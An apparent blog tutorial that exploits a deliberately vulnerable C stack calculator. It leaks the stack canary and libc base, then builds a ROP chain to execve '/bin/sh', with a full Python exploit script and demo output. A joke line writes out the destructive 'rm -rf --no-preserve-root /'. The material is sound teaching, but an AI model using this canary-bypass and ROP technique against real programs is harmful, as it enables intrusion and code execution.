---
# System prepended metadata

title: Hacking apart a calculator?

---

# Hacking apart a calculator?
The word *hacking* even sounds like a kind of arcane and gruesome wizardry, and given what people manage to do sometimes, I'm inclined to agree.
However, there is hacking and then there is hacking, and not all of it is incomprehensible.
Many a security vulnerability (such a grand lexeme) stems from those silly mistakes that people keep making due to their human nature.
Forgetting to check a pointer for `NULL`.
Trusting what the user says.
Acting on unenforced invariants.
In programming it's helpful to get paranoidal about your code (maybe in life too, but I'm no psychologist).
Thinking they are out after you, conspired to destroy things you love with the very tool you made.
That they'll get ya if you dare let your guard down.

And to prove my point, I'm going to show you how I hacked a calculator.
Yes, we really are doing that.

## Meet the victim
For ~~ethical reasons~~ demonstration purposes, the program we'll dissect today will be small, short, unobtrusive, and absolutely insecure.
Here's the code.

```c=
#include <stdio.h>

enum {
    STACK_MAX = 10,
};

int main() {
    int stack[STACK_MAX] = {0};
    int idx = 0;

    while (1) {
        char command = -1;

        printf("command (><+): ");
        scanf(" %c", &command);

        switch (command) {
        case '>':
            int n = -1;
            scanf(" %d", &n);
            stack[idx++] = n;
            printf("pushed [%d] = %d\n", idx - 1, n);
            break;

        case '<':
            --idx;
            printf("popped [%d] -> %d\n", idx, stack[idx]);
            break;

        case '+':
            int x = stack[--idx];
            int y = stack[--idx];
            stack[idx++] = x + y;
            printf("[%d] = %d + %d = %d\n", idx - 1, x, y, x + y);
            break;

        case -1:
            goto out;
        }
    }

out:
    return 0;
}
```

So as you can see, it's a stack calculator, basically.
I didn't even bother implementing all the elementary arithmetical operations; we've got summation, and we aren't going to need that, for the push (`>`) / pop (`<`) commands are all we need.

A particularity should strike the mind of an observant reader.
The bounds are not checked.
We can pop as many numbers as we want to (almost), and push beyond the capacity of the stack.

The way it works is simple.
You compile and run the program, push a couple of integers, add them together, and pop the result, which will be printed to screen.

```
command (><+): > 100
pushed [0] = 100
command (><+): > 200
pushed [1] = 200
command (><+): > 300
pushed [2] = 300
command (><+): +
[1] = 300 + 200 = 500
command (><+): +
[0] = 500 + 100 = 600
command (><+): <
popped [0] -> 600
command (><+): ^D
```

(Pressing `^D` exits the program.)

## Looking for trouble
Now let me remind you how a program is run under x86 (really amd64) Linux.
A program is stored as an ELF file, which is loaded into memory, and the instruction pointer (the `rip` register) is set to the address of the entry point of the program.

```
$ objdump -ft calc

calc:     file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000150:
HAS_SYMS, DYNAMIC, D_PAGED
start address 0x0000000000001060

SYMBOL TABLE:
0000000000000000 l    df *ABS*	0000000000000000              abi-note.c
000000000000039c l     O .note.ABI-tag	0000000000000020              __abi_tag
0000000000000000 l    df *ABS*	0000000000000000              init.c
0000000000000000 l    df *ABS*	0000000000000000              crtstuff.c
0000000000001090 l     F .text	0000000000000000              deregister_tm_clones
00000000000010c0 l     F .text	0000000000000000              register_tm_clones
0000000000001100 l     F .text	0000000000000000              __do_global_dtors_aux
0000000000004040 l     O .bss	0000000000000001              completed.0
0000000000003df0 l     O .fini_array	0000000000000000              __do_global_dtors_aux_fini_array_entry
0000000000001150 l     F .text	0000000000000000              frame_dummy
0000000000003de8 l     O .init_array	0000000000000000              __frame_dummy_init_array_entry
0000000000000000 l    df *ABS*	0000000000000000              main.c
0000000000000000 l    df *ABS*	0000000000000000              crtstuff.c
0000000000002164 l     O .eh_frame	0000000000000000              __FRAME_END__
0000000000000000 l    df *ABS*	0000000000000000              
0000000000003df0 l       .init_array	0000000000000000              __init_array_end
0000000000003df8 l     O .dynamic	0000000000000000              _DYNAMIC
0000000000003de8 l       .init_array	0000000000000000              __init_array_start
0000000000002058 l       .eh_frame_hdr	0000000000000000              __GNU_EH_FRAME_HDR
0000000000004000 l     O .got.plt	0000000000000000              _GLOBAL_OFFSET_TABLE_
0000000000001000 l     F .init	0000000000000000              _init
0000000000001380 g     F .text	0000000000000005              __libc_csu_fini
0000000000000000  w      *UND*	0000000000000000              _ITM_deregisterTMCloneTable
0000000000004030  w      .data	0000000000000000              data_start
0000000000004040 g       .data	0000000000000000              _edata
0000000000001388 g     F .fini	0000000000000000              .hidden _fini
0000000000000000       F *UND*	0000000000000000              __stack_chk_fail@GLIBC_2.4
0000000000000000       F *UND*	0000000000000000              printf@GLIBC_2.2.5
0000000000000000       F *UND*	0000000000000000              __libc_start_main@GLIBC_2.2.5
0000000000004030 g       .data	0000000000000000              __data_start
0000000000000000  w      *UND*	0000000000000000              __gmon_start__
0000000000004038 g     O .data	0000000000000000              .hidden __dso_handle
0000000000002000 g     O .rodata	0000000000000004              _IO_stdin_used
0000000000001310 g     F .text	0000000000000065              __libc_csu_init
0000000000004048 g       .bss	0000000000000000              _end
0000000000001060 g     F .text	000000000000002f              _start
0000000000004040 g       .bss	0000000000000000              __bss_start
0000000000001159 g     F .text	00000000000001b5              main
0000000000000000       F *UND*	0000000000000000              __isoc99_scanf@GLIBC_2.7
0000000000004040 g     O .data	0000000000000000              .hidden __TMC_END__
0000000000000000  w      *UND*	0000000000000000              _ITM_registerTMCloneTable
0000000000000000  w    F *UND*	0000000000000000              __cxa_finalize@GLIBC_2.2.5
```

This command tells us that the entry point has address `0x1060` into the program (note that these addresses will be shifted by a constant offset when the program is actually run).
Looking down at the symbol table, we see the line:

```
0000000000001060 g     F .text	000000000000002f              _start
```

...which basically says that the `_start` function is run.

It's different from `main`, which is also present in the file:

```
0000000000001159 g     F .text	00000000000001b5              main
```

And we sure know we didn't define any function named `_start` in our program source code.
In fact, it's a function that's *automatically* added by the linker.
It's purpose in life is to initialize the C runtime (preparing the standard file streams, setting up the system call machinery, getting ready for `atexit`), find the command-line arguments, environment variables and other things, and call the `main` function.

![](https://i.imgur.com/tho9ZiV.png)

So once we're in `main`, we think our call stack looks like this:

```
main <- running
```

...when it really is like this:

```
_start
...
main <- running
```

So once we return from `main`, we go back to somewhere in `_start`!

## The stack
The stack is a memory area consisting of stack frames, each corresponding to a called function.
When you call a function, it allocates a new stack frame; the innermost function run sits at the top of the stack and its caller right below it.

The allocation is made by simply changing the value of the stack pointer — it stores the address when the stack ends.
By moving the stack pointer further from the stack base, we allocate memory, and going in the opposite direction frees it.

On x86 (amd64) the stack pointer is called the `rsp` register, and the stack is said to grow down.
What this means is that the address of the base is higher than `rsp`, and to allocate more memory you need to subtract from the register.

```asm=
    push rbp            ; mov [rsp], rbp
                        ; sub rsp, 8
    mov rbp, rsp
    sub rbp, 96         ; allocates 96 bytes of stack memory
```

Note that after you deallocate memory, the data is still there on the stack until overwritten.

## How functions are called
What does it mean to return from a function?
What happens when you call a function?

The basic idea of a function call is a two-step procedure:

- save the return address
- jump to the address of the first instruction of the function

We do the latter because we want to actually execute whatever the function does.
The former, on the other hand, has to do with returning from the function after it finishes its job.
To resume the caller, the callee should know where to hand the control back to.
And since the function can be called from anywhere, answering that where question is on us.
By saving the return address — the address of the instruction immediately following the function call — we can tell the callee where to jump to once it's done.

Traditionally, on x86 we just push the return address onto the stack and jump.
So `call func` effectively translates to:

```asm
    push <func address>
    jump <func address>
```

Then, in the function, we perform the `ret` instruction, which does the following:

```asm
    add rsp, 8
    jmp [rsp - 8]
```

...or, basically...

```asm
    pop rip
```

...though the latter is not actually valid assembly.

This gives us...

## The attack vector
An attack vector is a fancy name for an approach taken to exploit a program.

Remember how our calculator was defective in that it didn't check that the cursor position was within the array bounds.
We have the two operations:

- pop moves the cursor to the left and reads the value
- push overwrites the value under the cursor and goes right

The array is stored on the stack, and combining these two pieces of information together we get two primitives (small reusable exploitable parts of the program):

- **read:** subtract 4 from the pointed address and read the 32-bit value
- **write:** write an arbitrary 32-bit value to the pointer and add 4 to the pointed address

The idea for the attack is as follows:
- determine the stack layout by poking the program around
- overwrite the return address of the `main` function
  - it originally points to somewhere in `_start`
  - we set it to the address of another procedure we want to call
- make `main` return
  - pops the return address, jumps to our procedure, wreaks havoc

Sounds good?

## 'Cause life ain't easy
Good.
Let's follow the plan.

### Determining the stack layout
Having direct access to the program makes reconnaissance easier.

Start up the program...

```
$ ./calc
command (><+): > 100
pushed [0] = 100
command (><+): > 200
pushed [1] = 200
command (><+): +
[0] = 200 + 100 = 300
command (><+): <
popped [0] -> 300
command (><+):
```

Sure, works.
Fire up `gdb`...

```
$ gdb -p $(pidof calc)
```

![](https://i.imgur.com/JTY9qnf.png)

Uhh, sure, let's get us root privileges...

![](https://i.imgur.com/KprJdqX.png)

Here we go.
Now...

![](https://i.imgur.com/2dpRJrv.png)

Here we've got:

- the addresses of the stack region (spans `0x7ffdcc096000-0x7ffdcc0b7000`)
- the address of the `stack` variable (`0x7ffdcc0b5050`)

We see that the address `stack` is indeed within the stack area.
Now... I suppose we just dump the memory?

```
(gdb) dump memory stack.mem 0x7ffdcc096000 0x7ffdcc0b7000
```

Now we've got the file `stack.mem` on the disk which we can freely inspect.
Since it's mostly binary, we're going to use a hex dumper (`xxd`):

```
$ xxd stack.mem | less
```

Let's calculate the address of `stack` relative to the stack start address:

```
0x7ffdcc0b5050 - 0x7ffdcc096000 = 0x1f050
```

Move over to `1f050`...

![](https://i.imgur.com/BNbSu0g.png)

Sure enough, there it is.

`int` is 32 bits long, so each takes 4 bytes.
`stack[0] == *(stack + 0) == *stack` — so at `0x1f050` we've got the 0th element: `0x2c010000`.
Actually, we have to read the bytes in reverse because the machine is little-endian, so it's `0x12c`, or 300.
The next element is `0xc8 == 200`.
Which confirms we're at the right place.

Now let's determine where the return address is stored on the stack.

```
(gdb) info frame
Stack level 5, frame at 0x7ffdcc0b5090:
 rip = 0x560347b691d2 in main (main.c:16); saved rip = 0x7ff1e92f9b25
 caller of frame at 0x7ffdcc0b5030
 source language c.
 Arglist at 0x7ffdcc0b5080, args: 
 Locals at 0x7ffdcc0b5080, Previous frame's sp is 0x7ffdcc0b5090
 Saved registers:
  rbp at 0x7ffdcc0b5080, rip at 0x7ffdcc0b5088
```

The return address is the same as the previous `rip` value that we save.
That means the address we need is stored at `0x7ffdcc0b5088` (see the last line, `rip`).
That's...

```
0x7ffdcc0b5088 - 0x7ffdcc096000 = 0x1f088
```

...bytes into the stack area.
Sure enough, there it is:

![](https://i.imgur.com/RRMX9qS.png)

Again, the machine is little-endian, so the actual address is `0x7ff1e92f9b25`.
If you refer to the mappings above, you'll notice this points inside `libc`!

```
(gdb) x/a 0x7ffdcc0b5088
0x7ffdcc0b5088: 0x7ff1e92f9b25 <__libc_start_main+213>
```

As for the other locals...

![](https://i.imgur.com/SLVV6sw.png)

Which gives us the following:

![](https://i.imgur.com/uxvLp4z.png)

Legend:

- <span style="background: #f86dfcff;"><code>command</code></span>
- <span style="background: #00a2fcff;"><code>idx</code></span>
- <span style="background: #09da3eff;"><code>stack</code></span>
- <span style="background: #fc6d6dff;">return address</span>
- <span style="background: #fcd16dff;">saved <code>rbp</code></span>

### Refining the idea
Now that we know where everything is, we kind of get the idea of what we're going to do:

1. Move the cursor right 10 times by pushing something.
2. Move the cursor right 4 more times — now the cursor will be pointing at the stored return address.
3. Push the address of the needed function

### Facing the obstacles
#### Stack smashing protection
If we try to push to an empty stack 10 times, the cursor will point beyond the stack, at, in our case, `0x037f0036` (address `0x1f078` into the stack).

However, once we attempt to write anything there different from what's already present, the program crashes without reaching the return:

```
$ ./calc
command (><+): >0 
pushed [0] = 0
command (><+): >1
pushed [1] = 1
command (><+): >2
pushed [2] = 2
command (><+): >3
pushed [3] = 3
command (><+): >4
pushed [4] = 4
command (><+): >5
pushed [5] = 5
command (><+): >6
pushed [6] = 6
command (><+): >7
pushed [7] = 7
command (><+): >8
pushed [8] = 8
command (><+): >9
pushed [9] = 9
command (><+): >10
pushed [10] = 10
command (><+): ^D
*** stack smashing detected ***: terminated
[1]    3922542 abort (core dumped)  ./calc
```

Note that out buffer stores 10 elements — the indexes go up to 9 — so the 10th element is **outside** the buffer storage.
And as you can see, the calculator totally just blew up.
Not something you get to see too often.
This is the buffer overrun protection acting up.
It works like this.

- After each on-stack array an area is reserved.
- The compiler inserts code that, when run, writes a special value, called *the canary*, to the area.
  - The canary value is randomly generated before `main` is run.
  - It is stored in a special place not normally accessed by programs.
- It also adds code before each `ret` instruction that reads from the area and compares the read data with the canary.
  - If the values mismatch, it calls a special function that prints the message and aborts the program without ever performing the return.

If someone manages to make the program write past the end of a buffer, they probably don't know nor can predict the special canary value, and so the program is highly likely to detect the memory corruption and abort.

So we can crash our program all right, but it doesn't feel like an achievement, to be honest.
The goal is to run a function we desire, and we're getting a `abort (core dumped)` instead.
That means we'll have to obtain the canary value somewhere.
Unfortunately, we can only read the data **backwards**; if the cursor is to the left of the data we need, it's effectively inaccessible, since the only instruction that can move the cursor to the right is push and it overwrites the data.

We're saved by the fact that the canary is same for all the on-stack arrays in the program.
If it runs a function with an on-stack buffer, after the function returns, the buffer, and its canary, is still there in the memory!
Moreover, since the stack grows down, the stack frame belonging to this function will be **behind** the `stack` array.
So if we can predict where the buffer ends up relative to the array, we can just tell the program to pop a certain number of times, read the canary, and go back.

And it just so happens that there is such a function, and we know where the canary is!

![](https://i.imgur.com/8LKQpQi.png)

Legend:

- <span style="background: #f86dfcff;"><code>command</code></span>
- <span style="background: #00a2fcff;"><code>idx</code></span>
- <span style="background: #09da3eff;"><code>stack</code></span>
- <span style="background: #fc6d6dff;">return address</span>
- <span style="background: #fcd16dff;">saved <code>rbp</code></span>
- <span style="background: #00ffc1ff;">canary</span>

Specifically, we can read it as the `-58`th and `-57`th "elements" of the array.

Then we just push the same values at indeces `10` and `11`, and we're all set.

#### Address space layout randomization
Almost.
We're almost done.
Of course we had to fail somewhere, and that somewhere is that we don't know the addresses we want to jump to.
As I mentioned before, when a program is loaded, all the addresses are shifted by a constant — called the **base address**.
For instance, the base address of the `calc` program when we were dissecting it before was `0x560347b68000` — you can see that in the mappings.
The problem is, it's also (not entirely, but sufficiently) random.
So even if we know the function we want to call and its address *inside* the program image, we still need to get the base address.

I mean, of course, if you have the memory dump, it's all basically here.
You can look at the return address, for instance, which, as we remember, points to `__libc_start_main+213`.
We find the instruction in the `libc` image, look at its address within the file — that's the offset from the base.
Do the math, and you get the base address.

But this is cheating, and no fun.
And without the cheating, we can't read ahead, only write.
We'll need to look behind and hope that, again, some function pushes an address within the loaded `libc` memory region onto the stack, from which we can then derive the base address of `libc` and proceed.

In the session above, `libc` got loaded to `0x7ff1e92d2000`.
Let's glance through the memory dump and look for values close to this address.

![](https://i.imgur.com/tHqejZf.png)

We get:

- <span style="background: #ebffb8ff;"><code>__isoc99_scanf+178</code></span>, which is `0x596e2` into `libc`
- <span style="background: #ba86ffff;"><code>main+121</code></span>, which is `0x11d2` into `calc`

And now we're talking.

## Return-oriented programming
Now we're going to decide where we're actually going with this.
Sure, we can indeed jump to any function we want, but that's still a far cry from calling it.

For one, we need to pass it the arguments.
If it was plain x86, where all the arguments are passed on the stack, it would've been a piece of cake.
We overwrite the return address, keep writing beyond it to store the arguments, and then make a return.

But it's amd64, and it passes most arguments in registers.
Mostly for performance reasons, but as you can see, it helps security somewhat.
So instead of jumping straight to the function of choice, such as `system("/bin/sh")`, we have to go through a series of functions that together prepare the registers by filling them with the desired values.

The way it's done is by noting what most functions do before they return:
deallocating their stack frame and restoring clobbered registers that are required to be preserved across calls by the calling convention.
The finalization part of functions is called epilogue, and since the original values stored in these registers are pushed on stack before their use, to restore them, we just need to perform a series of `pop` instructions in an epilogue:

```asm
    mov [r12], rbp
    pop rbp
    pop r12
    pop r13
    pop r14
    ret
```

Remember that we can jump to an arbitrary address in memory.
This means we are not limited by having to jump to the beginning of a function.
Getting in the middle of it, or even right in the epilogue, isn't any different to the processor.
So by jumping to an epilogue and preparing the stack beforehand, we can load the attacked-controlled values from the stack into registers!

What's more, each of these little pieces, called **gadgets**, ends with a `ret` instruction.
Which just pops an address from the stack to `rip`.
And we control the stack.

If we change our mindset to focus on finding a chain of gadgets, each preparing the registers either for the next gadget or the end goal, we can potentially load anything in the registers, such as arguments for the end function of choice which we'll ultimately jump to!

This is called **return-oriented programming**, or ROP, and the gadget chain is called a ROP chain.

All that remains is just finding the gadgets and deciding on the sequence.
We are lucky in many ways:

- `libc` is famous for its enormous collection of all kinds of functions — for us it's basically the standard gadget library
- `libc` is an abstraction over the low-level OS interface and necessarily has to use unsafe mechanisms such as system calls — so it has very useful gadgets that enable us to execute arbitrary system calls, such as reading files, removing them, or spawning a new process
- `libc` is dynamically linked to almost any program (it takes some effort to compile a C program *without* accidentally linking to `libc`!), and ours is no exception
- and, finally and most importantly, we have the tools to assist us

You see, `libc` is enormous, and looking for a particular ROP chain can be exhaustive for a mere mortal human.
So if there's a tool that just scans all the `ret` instructions and automatically builds a ROP chain for you, you're probably going to use it.
Well, I am, and the tool is [`ropper`](https://github.com/sashs/ropper).

```
$ ropper -f ./calc /lib/libc-2.33.so --chain execve
...
[INFO] syscall gadget found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('Q', x)

IMAGE_BASE_0 = 0x0000000000000000 # 571be8318e8eb5d347bb13a4affbff01858ce5aaf0db4690118f4edb0d4de035
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

IMAGE_BASE_1 = 0x0000000000000000 # f4dc1d621b6cb4af2ec69a9a84ef457acb31fa9e146aa22d0303bb8d4c599c74
rebase_1 = lambda x : p(x + IMAGE_BASE_1)

rop = ''

rop += rebase_0(0x0000000000001134) # 0x0000000000001134: pop rbp; ret; 
rop += '//bin/sh'
rop += rebase_1(0x0000000000027cba) # 0x0000000000027cba: pop r12; ret; 
rop += rebase_0(0x0000000000004030)
rop += rebase_1(0x00000000000925e8) # 0x00000000000925e8: mov qword ptr [r12], rbp; pop rbp; pop r12; pop r13; pop r14; ret; 
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000001134) # 0x0000000000001134: pop rbp; ret; 
rop += p(0x0000000000000000)
rop += rebase_1(0x0000000000027cba) # 0x0000000000027cba: pop r12; ret; 
rop += rebase_0(0x0000000000004038)
rop += rebase_1(0x00000000000925e8) # 0x00000000000925e8: mov qword ptr [r12], rbp; pop rbp; pop r12; pop r13; pop r14; ret; 
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000001373) # 0x0000000000001373: pop rdi; ret; 
rop += rebase_0(0x0000000000004030)
rop += rebase_1(0x000000000002978f) # 0x000000000002978f: pop rsi; ret; 
rop += rebase_1(0x0000000000004038)
rop += rebase_1(0x00000000000f9c37) # 0x00000000000f9c37: pop rdx; pop r12; ret; 
rop += rebase_1(0x0000000000004038)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_1(0x000000000003fe60) # 0x000000000003fe60: pop rax; ret; 
rop += p(0x000000000000003b)
rop += rebase_1(0x000000000005962a) # 0x000000000005962a: syscall; ret; 
print rop
[INFO] rop chain generated!
```

It's so incredibly helpful that it even generates a Python script for you, leaving just to fill the base addresses of `calc` and `libc` and tweak the script a bit to account for the 10 array elements, the canary, and the padding.

## The serpentine scripting
By doing all the above, we get this:		

```python=
#!/usr/bin/env python
import array

from struct import iter_unpack, pack, unpack

def i64_from_parts(lo, hi):
    return unpack('@Q', pack('@ii', lo, hi))[0]

p = lambda x: pack('Q', x)

N = 66
print("RUN: >100<" + "<" * N)

print("INPUT: program output; terminated by double lf")

lines = []

while line := input():
    lines.append(line)

lines = lines[2:]
values = [int(line.rsplit(' ')[-1]) for line in lines]

assert len(values) == N

# i
values[2] = -2

canary = i64_from_parts(values[57], values[56])
libc_addr = i64_from_parts(values[65], values[64])
prog_addr = i64_from_parts(values[9], values[8])

prog_base = prog_addr - 0x11d2
# *rebases* an address *x* by adding the base address of ./calc (prog_base)
rebase_0 = lambda x: p(x + prog_base)

libc_base = libc_addr - 0x596e2
# likewise for libc
rebase_1 = lambda x: p(x + libc_base)

print('libc: 0x{:x}'.format(libc_base))
print('prog: 0x{:x}'.format(prog_base))

rop = b''

# buffer
rop += p(0x0000000000000000)
rop += p(0x0000000000000000)
rop += p(0x0000000000000000)
rop += p(0x0000000000000000)
rop += p(0x0000000000000000)

# canary and padding
rop += p(canary)
rop += p(0x0000000000000000)

rop += rebase_0(0x0000000000001134) # 0x0000000000001134: pop rbp; ret;
rop += b'//bin/sh'
rop += rebase_1(0x0000000000027cba) # 0x0000000000027cba: pop r12; ret;
rop += rebase_0(0x0000000000004030)
rop += rebase_1(0x00000000000925e8) # 0x00000000000925e8: mov qword ptr [r12], rbp; pop rbp; pop r12; pop r13; pop r14; ret;
rop += p(0x0000000000000000)
rop += rebase_0(0x0000000000004038)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_1(0x00000000000925e8) # 0x00000000000925e8: mov qword ptr [r12], rbp; pop rbp; pop r12; pop r13; pop r14; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000001373) # 0x0000000000001373: pop rdi; ret;
rop += rebase_0(0x0000000000004030)
rop += rebase_1(0x000000000002978f) # 0x000000000002978f: pop rsi; ret;
# ! ropper mistakenly uses rebase_1 here...
rop += rebase_0(0x0000000000004038)
rop += rebase_1(0x00000000000f9c37) # 0x00000000000f9c37: pop rdx; pop r12; ret;
# ! ...and here (cf. its output above)
rop += rebase_0(0x0000000000004038)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_1(0x000000000003fe60) # 0x000000000003fe60: pop rax; ret;
rop += p(0x000000000000003b)
rop += rebase_1(0x000000000005962a) # 0x000000000005962a: syscall; ret;

print("RUN:")

for i in reversed(values):
    print('>{}'.format(i), end='')

for (i,) in iter_unpack('@i', rop):
    print('>{}'.format(i), end='')

print()
```

This is the exploit code, basically.

### Demo

```
$ ./rop.py
RUN: >100<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
INPUT: program output; terminated by double lf
```

We copy-paste the string after `RUN:` into our calculator:

```
$ ./calc
command (><+): >100<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
pushed [0] = 100
command (><+): popped [0] -> 100
command (><+): popped [-1] -> 21920
command (><+): popped [-2] -> -1281019043
command (><+): popped [-3] -> -3
command (><+): popped [-4] -> 100
command (><+): popped [-5] -> 1006632960
command (><+): popped [-6] -> 1
command (><+): popped [-7] -> 0
command (><+): popped [-8] -> 13
command (><+): popped [-9] -> 21920
command (><+): popped [-10] -> -1281019438
command (><+): popped [-11] -> 0
command (><+): popped [-12] -> 2
command (><+): popped [-13] -> 32738
command (><+): popped [-14] -> -919445024
command (><+): popped [-15] -> 21920
command (><+): popped [-16] -> -1281019120
command (><+): popped [-17] -> 0
command (><+): popped [-18] -> 0
command (><+): popped [-19] -> 0
command (><+): popped [-20] -> 0
command (><+): popped [-21] -> 0
command (><+): popped [-22] -> 0
command (><+): popped [-23] -> 0
command (><+): popped [-24] -> 0
command (><+): popped [-25] -> 0
command (><+): popped [-26] -> 0
command (><+): popped [-27] -> 4
command (><+): popped [-28] -> 3
command (><+): popped [-29] -> 4
command (><+): popped [-30] -> 16
command (><+): popped [-31] -> 0
command (><+): popped [-32] -> 0
command (><+): popped [-33] -> 0
command (><+): popped [-34] -> 0
command (><+): popped [-35] -> 0
command (><+): popped [-36] -> 0
command (><+): popped [-37] -> 0
command (><+): popped [-38] -> 48
command (><+): popped [-39] -> 0
command (><+): popped [-40] -> 1572864
command (><+): popped [-41] -> 0
command (><+): popped [-42] -> 0
command (><+): popped [-43] -> 0
command (><+): popped [-44] -> 0
command (><+): popped [-45] -> 32766
command (><+): popped [-46] -> -1037912605
command (><+): popped [-47] -> 0
command (><+): popped [-48] -> 0
command (><+): popped [-49] -> 0
command (><+): popped [-50] -> 0
command (><+): popped [-51] -> 0
command (><+): popped [-52] -> 0
command (><+): popped [-53] -> 32766
command (><+): popped [-54] -> -1037912289
command (><+): popped [-55] -> 0
command (><+): popped [-56] -> 0
command (><+): popped [-57] -> 1904648602
command (><+): popped [-58] -> 829370368
command (><+): popped [-59] -> 32766
command (><+): popped [-60] -> -1037912496
command (><+): popped [-61] -> 32766
command (><+): popped [-62] -> -1037912304
command (><+): popped [-63] -> 48
command (><+): popped [-64] -> 8
command (><+): popped [-65] -> 32738
command (><+): popped [-66] -> -921430302
```

We go back to `rop.py` and paste the output above:

```
$ ./rop.py
RUN: >100<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
INPUT: program output; terminated by double lf
pushed [0] = 100
command (><+): popped [0] -> 100
...
command (><+): popped [-66] -> -921430302

libc: 0x7fe2c90e8000
prog: 0x55a0b3a52000
RUN:
>-921430302>32738>8>48>-1037912304>32766>-1037912496>32766>829370368>1904648602>0>0>-1037912289>32766>0>0>0>0>0>0>-1037912605>32766>0>0>0>0>1572864>0>48>0>0>0>0>0>0>0>16>4>3>4>0>0>0>0>0>0>0>0>0>0>-1281019120>21920>-919445024>32738>2>0>-1281019438>21920>13>0>1>1006632960>100>-2>-1281019043>21920>0>0>0>0>0>0>0>0>0>0>829370368>1904648602>0>0>-1281019596>21920>1768042287>1752379246>-921633606>32738>-1281007568>21920>-921197080>32738>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-1281019596>21920>0>0>-921633606>32738>-1281007560>21920>-921197080>32738>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-1281019021>21920>-1281007568>21920>-921626737>32738>-1281007560>21920>-920773577>32738>-1281007560>21920>-559038737>-559038737>-921534880>32738>59>0>-921430486>32738
```

And run the final string:

```
$ ./calc
...
command (><+): >-921430302>32738>8>48>-1037912304>32766>-1037912496>32766>829370368>1904648602>0>0>-1037912289>32766>0>0>0>0>0>0>-1037912605>32766>0>0>0>0>1572864>0>48>0>0>0>0>0>0>0>16>4>3>4>0>0>0>0>0>0>0>0>0>0>-1281019120>21920>-919445024>32738>2>0>-1281019438>21920>13>0>1>1006632960>100>-2>-1281019043>21920>0>0>0>0>0>0>0>0>0>0>829370368>1904648602>0>0>-1281019596>21920>1768042287>1752379246>-921633606>32738>-1281007568>21920>-921197080>32738>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-1281019596>21920>0>0>-921633606>32738>-1281007560>21920>-921197080>32738>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-559038737>-1281019021>21920>-1281007568>21920>-921626737>32738>-1281007560>21920>-920773577>32738>-1281007560>21920>-559038737>-559038737>-921534880>32738>59>0>-921430486>32738
pushed [-66] = -921430302
command (><+): pushed [-65] = 32738
...
command (><+): pushed [61] = 32738
command (><+): ^D
[slowlime@pc hack]$ # and now you can run a sane calculator, such as rm -rf --no-preserve-root /
[slowlime@pc hack]$
```

We're in a shell!
We can now do almost anything: set up a remote shell, encrypt all the files, troll the user or just hog the resources by mining dogecoin.

### How it works
TODO!
There's gotta be a picture or a gif or something to explain what the exploit does step-by-step.
Hopefully.
For now it's an exersise to the reader!

...And that's how you hack your calculator.

## Where to go from here
This was a stupid program with a stupid bug.
Real programs are usually much more complicated, steeply increasing the difficulty of search and exploitation of vulnerabilities but opening up new exciting (for the hacker, of course) attack possibilities at the same time.
For a web server, it's remote code execution.
For an SSH server, privilege escalation.
For an operating system, bricking hardware.
And for firmware, it's physical damage to the device, the users, all the way up to blowing up a nuclear facility.

Vulnerabilities can be unexploitable.
If our calculator ensured `idx` never go negative, we would be unable to proceed from there at all.
That's not to say our program would be secure, of course, but finding the way to exploit the buffer overrun would be harder.

Exploits can be extremely platform-specific.
The above was an example of one.
If we were to choose another platform, compiler, or do as little as update the C library version, we'd probably have to start over again, though the idea would most likely be essentially unchanged.

Still, a programmer ought to know their enemy by learning the ways programs are broken to avoid the same happening to theirs.
And have a healthy sip of paranoia each time they write their code.